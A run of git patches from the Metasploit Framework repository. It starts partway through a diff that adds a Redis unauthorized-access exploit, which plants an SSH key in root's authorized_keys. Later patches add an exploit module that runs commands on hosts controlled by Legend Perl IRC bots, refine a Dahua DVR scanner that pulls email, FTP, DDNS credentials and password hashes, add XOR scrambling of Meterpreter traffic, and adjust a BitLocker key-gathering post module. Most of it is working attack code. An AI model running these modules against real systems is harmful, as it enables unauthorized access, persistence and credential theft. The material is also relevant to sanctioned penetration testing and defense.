'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], + ['URL', 'http://redis.io/topics/protocol'] + ], + 'Platform' => %w(unix linux), + 'Targets' => [['Automatic Target', { }]], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 11 2015' + )) + register_options( + [ + Opt::RHOST(), + Opt::RPORT(6379), + OptPath.new('LocalFile', [true, 'Local file to be uploaded', '/root/.ssh/id_rsa.pub']), + OptString.new('RemoteFile', [true, 'Remote file path', '/root/.ssh/authorized_keys']) + ], self.class) + + register_advanced_options( + [ + OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) + ], self.class) + end + + def read_timeout + datastore['READ_TIMEOUT'] + end + + def redis_proto(parts) + return if parts.blank? + command = "*#{parts.length}\r\n" + parts.each do |p| + command << "$#{p.length}\r\n#{p}\r\n" + end + command + end + + def send_command(command) + command = redis_proto(command) + sock.put(command) + sock.get_once(-1, read_timeout) + end + + def send_file(path, content) + dirname = File.dirname(path) + basename = File.basename(path) + + key = Rex::Text.rand_text_alpha(32) + command = ['CONFIG', 'SET', 'DIR', "#{dirname}"] + data = send_command(command) + vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + return unless data.include?('+OK') + + command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"] + data = send_command(command) + vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + return unless data.include?('+OK') + + command = ['SET', "#{key}", "#{content}"] + data = send_command(command) + + vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + return unless data.include?('+OK') + print_good("#{rhost}:#{rport}: save file to #{path}") + + command = ['SAVE'] + data = send_command(command) + vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + return unless data.include?('+OK') + + command = ['DEL', "#{key}"] + data = send_command(command) + vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + return unless data.include?('+OK') + end + + def check + connect + data = send_command(['INFO']) + disconnect + if data && data.include?('redis_mode') + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + begin + connect + res = send_command(['PING']) + + if res && res =~ /PONG/ + content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" + send_file(datastore['RemoteFile'], content) + end + + rescue ::Exception => e + print_error("Unable to connect: #{e}") + ensure + disconnect + end + end +end From 14afbc68008d19189ca81d0c50a46b9b3e96a6c5 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 6 Dec 2015 20:10:19 +0800 Subject: [PATCH 1446/2172] Update xdh_x_exec.rb updated description and new author. --- modules/exploits/multi/misc/xdh_x_exec.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index 2eaca9b290..da2d37a138 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -13,11 +13,12 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Xdh / fBot IRC Bot Remote Code Execution', + 'Name' => 'Xdh / LinuxNet perlbot / fBot IRC Bot Remote Code Execution', 'Description' => %q{ This module allows remote command execution on an IRC Bot developed by xdh. This perl bot was caught by Conor Patrick with his shellshock honeypot server - and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). + and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt + Thayer also found this script which has a description of LinuxNet perlbot. The bot answers only based on the servername and nickname in the IRC message which is configured on the perl script thus you need to be an operator on the IRC @@ -28,12 +29,14 @@ class Metasploit4 < Msf::Exploit::Remote [ #MalwareMustDie 'Jay Turla', # msf - 'Conor Patrick' # initial discovery and botnet analysis + 'Conor Patrick', # initial discovery and botnet analysis for xdh + 'Matt Thayer' # initial discovery for LinuxNet perlbot ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ], + [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889'], [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is ], 'Platform' => %w{ unix win }, From 10a8e98e41fde07e3c56d465129dd4a1d04e6467 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 6 Dec 2015 20:11:49 +0800 Subject: [PATCH 1447/2172] Update xdh_x_exec.rb --- modules/exploits/multi/misc/xdh_x_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index da2d37a138..cded32ce3d 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -36,7 +36,7 @@ class Metasploit4 < Msf::Exploit::Remote 'References' => [ [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ], - [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889'], + [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is ], 'Platform' => %w{ unix win }, From 9ee5498090c34098acea832bb18f07625131ad28 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sun, 6 Dec 2015 20:21:18 +0800 Subject: [PATCH 1448/2172] Update xdh_x_exec.rb satisfying msftidy's request --- modules/exploits/multi/misc/xdh_x_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index cded32ce3d..300de92a6e 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -13,7 +13,7 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Xdh / LinuxNet perlbot / fBot IRC Bot Remote Code Execution', + 'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution', 'Description' => %q{ This module allows remote command execution on an IRC Bot developed by xdh. This perl bot was caught by Conor Patrick with his shellshock honeypot server From 26c8fd8faa4a063e1bbd38ad8be85d19b8567b05 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Mon, 7 Dec 2015 08:25:19 +0800 Subject: [PATCH 1449/2172] Update xdh_x_exec.rb --- modules/exploits/multi/misc/xdh_x_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index 300de92a6e..8e3c0fda70 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -52,7 +52,7 @@ class Metasploit4 < Msf::Exploit::Remote }, 'Targets' => [ - [ 'xdh Botnet', { } ] + [ 'xdh Botnet / LinuxNet perlbot', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 04 2015', From 2244f2aa434146046dd7008a0a96d88ffa295dc0 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Mon, 7 Dec 2015 10:30:28 +0800 Subject: [PATCH 1450/2172] Add Legend Perl IRC Bot Remote Code Execution --- .../exploits/multi/misc/legend_bot_exec.rb | 168 ++++++++++++++++++ 1 file changed, 168 insertions(+) create mode 100644 modules/exploits/multi/misc/legend_bot_exec.rb diff --git a/modules/exploits/multi/misc/legend_bot_exec.rb b/modules/exploits/multi/misc/legend_bot_exec.rb new file mode 100644 index 0000000000..0dc21499be --- /dev/null +++ b/modules/exploits/multi/misc/legend_bot_exec.rb @@ -0,0 +1,168 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Legend Perl IRC Bot Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution on the Legend Perl IRC Bot . + This bot has been used as a payload in the Shellshock spam last October 2014. + This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and + UDP flooding, the ability to remove system logs, and ability to gain root, and + VNC scanning. + + Kevin Stevens, a Senior Threat Researcher at Damballa has uploaded this script + to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76. + }, + 'Author' => + [ + 'Jay Turla' # msf and initial discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '121681' ], + [ 'EDB', '36836' ], + [ 'URL', 'https://www.damballa.com/perlbotnado/' ], + [ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details + ], + 'Platform' => %w{ unix win }, + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'Targets' => + [ + [ 'Legend IRC Bot', { } ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 27 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(6667), + OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), + OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), + OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) + ], self.class) + end + + def check + connect + + res = register(sock) + if res =~ /463/ || res =~ /464/ + vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + return Exploit::CheckCode::Unknown + end + + res = join(sock) + if !res =~ /353/ && !res =~ /366/ + vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") + return Exploit::CheckCode::Unknown + end + + quit(sock) + disconnect + + if res =~ /auth/ && res =~ /logged in/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def send_msg(sock, data) + sock.put(data) + data = "" + begin + read_data = sock.get_once(-1, 1) + while !read_data.nil? + data << read_data + read_data = sock.get_once(-1, 1) + end + rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + + data + end + + def register(sock) + msg = "" + + if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? + msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" + end + + if datastore['NICK'].length > 9 + nick = rand_text_alpha(9) + print_error("The nick is longer than 9 characters, using #{nick}") + else + nick = datastore['NICK'] + end + + msg << "NICK #{nick}\r\n" + msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" + + send_msg(sock,msg) + end + + def join(sock) + join_msg = "JOIN #{datastore['CHANNEL']}\r\n" + send_msg(sock, join_msg) + end + + def legend_command(sock) + encoded = payload.encoded + command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n" + send_msg(sock, command_msg) + end + + def quit(sock) + quit_msg = "QUIT :bye bye\r\n" + sock.put(quit_msg) + end + + def exploit + connect + + print_status("#{rhost}:#{rport} - Registering with the IRC Server...") + res = register(sock) + if res =~ /463/ || res =~ /464/ + print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + return + end + + print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") + res = join(sock) + if !res =~ /353/ && !res =~ /366/ + print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") + return + end + + print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") + legend_command(sock) + + quit(sock) + disconnect + end + +end From b36834f4bc4f177004fc818d37fa85e5c9392151 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Mon, 7 Dec 2015 10:38:36 +0800 Subject: [PATCH 1451/2172] Update legend_bot_exec.rb --- modules/exploits/multi/misc/legend_bot_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/misc/legend_bot_exec.rb b/modules/exploits/multi/misc/legend_bot_exec.rb index 0dc21499be..ab1dd0e15b 100644 --- a/modules/exploits/multi/misc/legend_bot_exec.rb +++ b/modules/exploits/multi/misc/legend_bot_exec.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Jay Turla' # msf and initial discovery + #MalwareMustDie ], 'License' => MSF_LICENSE, 'References' => From 069a50e1b806bb840b0ed95038477f508a3f9f95 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Mon, 7 Dec 2015 09:41:46 -0500 Subject: [PATCH 1452/2172] Revert "fixed ddns_creds import issue, by using rhost and commenting why it needs to be used" Reverting to hopefully force a fix for issue #3968 --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 0a7d96ebfe..6837243ba5 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}", "#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"] ddns_table.print unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? - report_ddns_cred(rhost, ddns_port, ddns_user, ddns_pass) + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end end end @@ -319,12 +319,9 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(login_data) end - def report_ddns_cred(rhost, ddns_port, ddns_user, ddns_pass) + def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) service_data = { - # if a system returns a domain name for ddns_server this will fail to - # input into the db because the creds api expects an inet record. This has to be set to RHOST until issue #3968 is - # sorted in msf framework. - address: rhost, + address: ddns_server, port: ddns_port, service_name: 'ddns settings', protocol: 'tcp', From 3d892bd1d639819e98d172c47068b8bcafdd5f6e Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Mon, 7 Dec 2015 10:37:36 -0500 Subject: [PATCH 1453/2172] added rex table for grab_email func instead of printing out values --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 6837243ba5..bbd508e062 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -104,20 +104,21 @@ class Metasploit3 < Msf::Auxiliary return unless (response = sock.get_once) data = response.split('&&') return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i - print_status("Email Settings: @ #{rhost}:#{rport}!") + email_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dahua Email Settings', + 'Indent' => '1', + 'Columns' => ['Email Server', 'Email Port', 'Email User', 'Email Password'] + ) if mailhost = Regexp.last_match[1].split(':') - print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? - print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? - print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? + mailserver = "#{mailhost[0]}" + mailport = "#{mailhost[1]}" end return unless data[5].blank? && data[6].blank? - print_good(" SMTP User: #{data[5]}") - print_good(" SMTP Password: #{data[6]}") muser = "#{data[5]}" mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - mailport = "#{mailhost[1]}" + email_table << ["#{mailserver}", "#{mailport}", "#{muser}", "#{mpass}"] return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank? + email_table.print report_email_creds(mailserver, mailport, muser, mpass) end From 75e31c252e08938485dfc1b7f5b5211b22cf540d Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Mon, 7 Dec 2015 14:48:28 -0500 Subject: [PATCH 1454/2172] added rex table for nas settings, still working on users and hashes rex table --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index bbd508e062..13363aa68f 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -142,8 +142,8 @@ class Metasploit3 < Msf::Auxiliary ddns_user = "#{val[4]}" ddns_pass = "#{val[5]}" ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}", "#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"] - ddns_table.print unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? + ddns_table.print report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end end @@ -156,18 +156,21 @@ class Metasploit3 < Msf::Auxiliary print_status("Nas Settings @ #{rhost}:#{rport}!:") server = '' port = '' + nas_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dahaua NAS Settings', + 'Indent' => '1', + 'Columns' => ['Nas Server', 'Nas Port', 'FTP User', 'FTP Pass'] + ) if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ server = Regexp.last_match[1].unpack('C*').join('.') port = Regexp.last_match[2].unpack('S') - print_status(" Nas Server #{server}") - print_status(" Nas Port: #{port}") end if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data ftpuser.strip! ftppass.strip! unless ftpuser.blank? || ftppass.blank? - print_good(" FTP User: #{ftpuser}") - print_good(" FTP Password: #{ftppass}") + nas_table << ["#{server}", "#{port}", "#{ftpuser}", "#{ftppass}"] + nas_table.print report_creds( host: server, port: port, @@ -195,10 +198,16 @@ class Metasploit3 < Msf::Auxiliary return unless (response = sock.get_once) data = response.split('&&') usercount = 0 + users_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dahua Users Hashes and groups', + 'Indent' => '1', + 'Columns' => ['Username', 'Password Hash', 'Permissions', 'Description'] + ) print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" + # print_status("Perms: #{val[/(([0-9][0-9]*, )*[0-9][0-9]*)/]}") value = pass.split(":") user = "#{value[1]}" md5hash = "#{value[2]}" From da58dd2c7190c9202f828adb2441be0bf7698ede Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 7 Dec 2015 15:37:58 -0600 Subject: [PATCH 1455/2172] update to metasploit-payloads 1.0.19 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 3f154d58cc..ff99dab8c7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,7 +13,7 @@ PATH metasploit-concern (= 1.0.0) metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.18) + metasploit-payloads (= 1.0.19) metasploit_data_models (= 1.2.9) msgpack network_interface (~> 0.0.1) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.18) + metasploit-payloads (1.0.19) metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 537b2283fa..00830f69fe 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -68,7 +68,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.18' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.19' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From ea3c7cb35bf63f5dc30e429297f5084740e05aad Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 7 Dec 2015 21:13:14 -0600 Subject: [PATCH 1456/2172] Minor edits --- modules/exploits/multi/http/phpfilemanager_rce.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index e487783b36..5223279b46 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -66,12 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote end def push - uri = normalize_uri(target_uri.path) + uri = normalize_uri(target_uri.path) # To push the Enter button res = send_request_cgi({ - 'method' => 'POST', - 'uri' => uri, + 'method' => 'POST', + 'uri' => uri, 'vars_post' => { 'frame' => '3', 'pass' => '' # yep this should be empty @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote end def http_send_command(cmd) - cookie = push() + cookie = push res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), From c747ffc05adda299fdf000be25a20bd71c72e043 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 8 Dec 2015 16:36:26 +1000 Subject: [PATCH 1457/2172] Implement support for TLV packet XORing, and RECV removal --- lib/rex/post/meterpreter/packet.rb | 38 +++++++++++++++++++ lib/rex/post/meterpreter/packet_dispatcher.rb | 4 +- lib/rex/post/meterpreter/packet_parser.rb | 20 +++++++--- .../post/meterpreter/packet_parser_spec.rb | 2 +- 4 files changed, 55 insertions(+), 9 deletions(-) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 459fb2d4bb..423f8880d2 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -665,6 +665,44 @@ class Packet < GroupTlv end end + # + # Override the function that creates the raw byte stream for + # sending so that it generates an XOR key, uses it to scramble + # the serialized TLV content, and then returns the key plus the + # scrambled data as the payload. + # + def to_r + raw = super + xor_key = rand(254) + 1 + xor_key |= (rand(254) + 1) << 8 + xor_key |= (rand(255) + 1) << 16 + xor_key |= (rand(255) + 1) << 24 + result = [xor_key].pack('N') + xor_bytes(xor_key, raw) + result + end + + # + # Override the function that reads from a raw byte stream so + # that the XORing of data is included in the process prior to + # passing it on to the default functionality that can parse + # the TLV values. + # + def from_r(bytes) + xor_key = bytes[0,4].unpack('N')[0] + super(xor_bytes(xor_key, bytes[4, bytes.length])) + end + + # + # Xora set of bytes with a given DWORD xor key. + # + def xor_bytes(xor_key, bytes) + result = '' + bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b| + result << (b[0].ord ^ b[1].ord).chr + end + result + end + ## # # Conditionals diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index cfcd7576fc..bf1a00e80d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -108,8 +108,7 @@ module PacketDispatcher self.last_checkin = Time.now - # If the first 4 bytes are "RECV", return the oldest packet from the outbound queue - if req.body[0,4] == "RECV" + if req.method == 'GET' rpkt = send_queue.shift resp.body = rpkt || '' begin @@ -170,6 +169,7 @@ module PacketDispatcher end end + if bytes.to_i == 0 # Mark the session itself as dead self.alive = false diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 8aebe3de39..c4c93d6b37 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -12,6 +12,11 @@ module Meterpreter ### class PacketParser + # 4 byte xor + # 4 byte length + # 4 byte type + HEADER_SIZE = 12 + # # Initializes the packet parser context with an optional cipher. # @@ -26,7 +31,7 @@ class PacketParser # def reset self.raw = '' - self.hdr_length_left = 8 + self.hdr_length_left = HEADER_SIZE self.payload_length_left = 0 end @@ -34,6 +39,9 @@ class PacketParser # Reads data from the wire and parse as much of the packet as possible. # def recv(sock) + # Create a typeless packet + packet = Packet.new(0) + if (self.hdr_length_left > 0) buf = sock.read(self.hdr_length_left) @@ -49,7 +57,10 @@ class PacketParser # payload length left to the number of bytes # specified in the length if (self.hdr_length_left == 0) - self.payload_length_left = raw.unpack("N")[0] - 8 + xor_key = raw[0, 4].unpack('N')[0] + length_bytes = packet.xor_bytes(xor_key, raw[4, 4]) + # header size doesn't include the xor key, which is always tacked on the front + self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4) end elsif (self.payload_length_left > 0) buf = sock.read(self.payload_length_left) @@ -67,14 +78,11 @@ class PacketParser if ((self.hdr_length_left == 0) && (self.payload_length_left == 0)) - # Create a typeless packet - packet = Packet.new(0) - # TODO: cipher decryption if (cipher) end - # Serialize the packet from the raw buffer + # Deserialize the packet from the raw buffer packet.from_r(self.raw) # Reset our state diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 9ffa2f1a46..af39577024 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -20,7 +20,7 @@ describe Rex::Post::Meterpreter::PacketParser do it "should initialise with expected defaults" do parser.send(:raw).should == "" - parser.send(:hdr_length_left).should == 8 + parser.send(:hdr_length_left).should == 12 parser.send(:payload_length_left).should == 0 end From ed49a67c8b4c0fe739e7226debc47bcacce4b966 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 8 Dec 2015 16:59:57 +1000 Subject: [PATCH 1458/2172] Add .php and .py meterpreter excludes to gitignore --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 532dcce24a..e83ddb0b91 100644 --- a/.gitignore +++ b/.gitignore @@ -68,6 +68,8 @@ external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by # the metasploit-payloads gem. data/meterpreter/*.dll +data/meterpreter/*.php +data/meterpreter/*.py data/meterpreter/*.bin data/meterpreter/*.jar data/meterpreter/*.lso From be5f648969d56a7a52f2d9f13d5ce7e1143aad12 Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Fri, 4 Dec 2015 18:08:31 +0100 Subject: [PATCH 1459/2172] manage-bde.exe path test if in System32 or sysnative --- modules/post/windows/gather/bitlocker_fvek.rb | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index f5a8ad475f..03406d82a0 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -74,8 +74,15 @@ class Metasploit3 < Msf::Post else print_status('Trying to gather a recovery key') - cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", - "-protectors -get #{drive_letter}:") + manage_bde = "#{system_root}\\system32\\manage-bde.exe" + unless exist?(manage_bde) + manage_bde = "#{system_root}\\sysnative\\manage-bde.exe" + unless exist?(manage_bde) + fail_with(Failure::Unknown, 'manage-bde.exe not found') + end + end + + cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:") recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) @@ -84,7 +91,7 @@ class Metasploit3 < Msf::Post print_good("Recovery key found : #{recovery_key}") else print_status('No recovery key found, trying to generate a new recovery key') - cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", + cmd_out = cmd_exec(manage_bde, "-protectors -add #{drive_letter}: -RecoveryPassword") recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) id_key_tmp = cmd_out.match(/(\{[^\}]+\})/) @@ -114,9 +121,9 @@ class Metasploit3 < Msf::Post print_bad('Failed to generate FVEK, wrong recovery key?') end ensure - unless id_key_tmp + unless id_key_tmp.nil? print_status('Deleting temporary recovery key') - cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", + cmd_exec(manage_bde, "-protectors -delete #{drive_letter}: -id #{id_key_tmp}") end client.railgun.kernel32.CloseHandle(@handle) From 7378e7b128590e046ad58d455f62289bda5c3675 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Dec 2015 11:06:59 -0600 Subject: [PATCH 1460/2172] Do elog() when print_error() 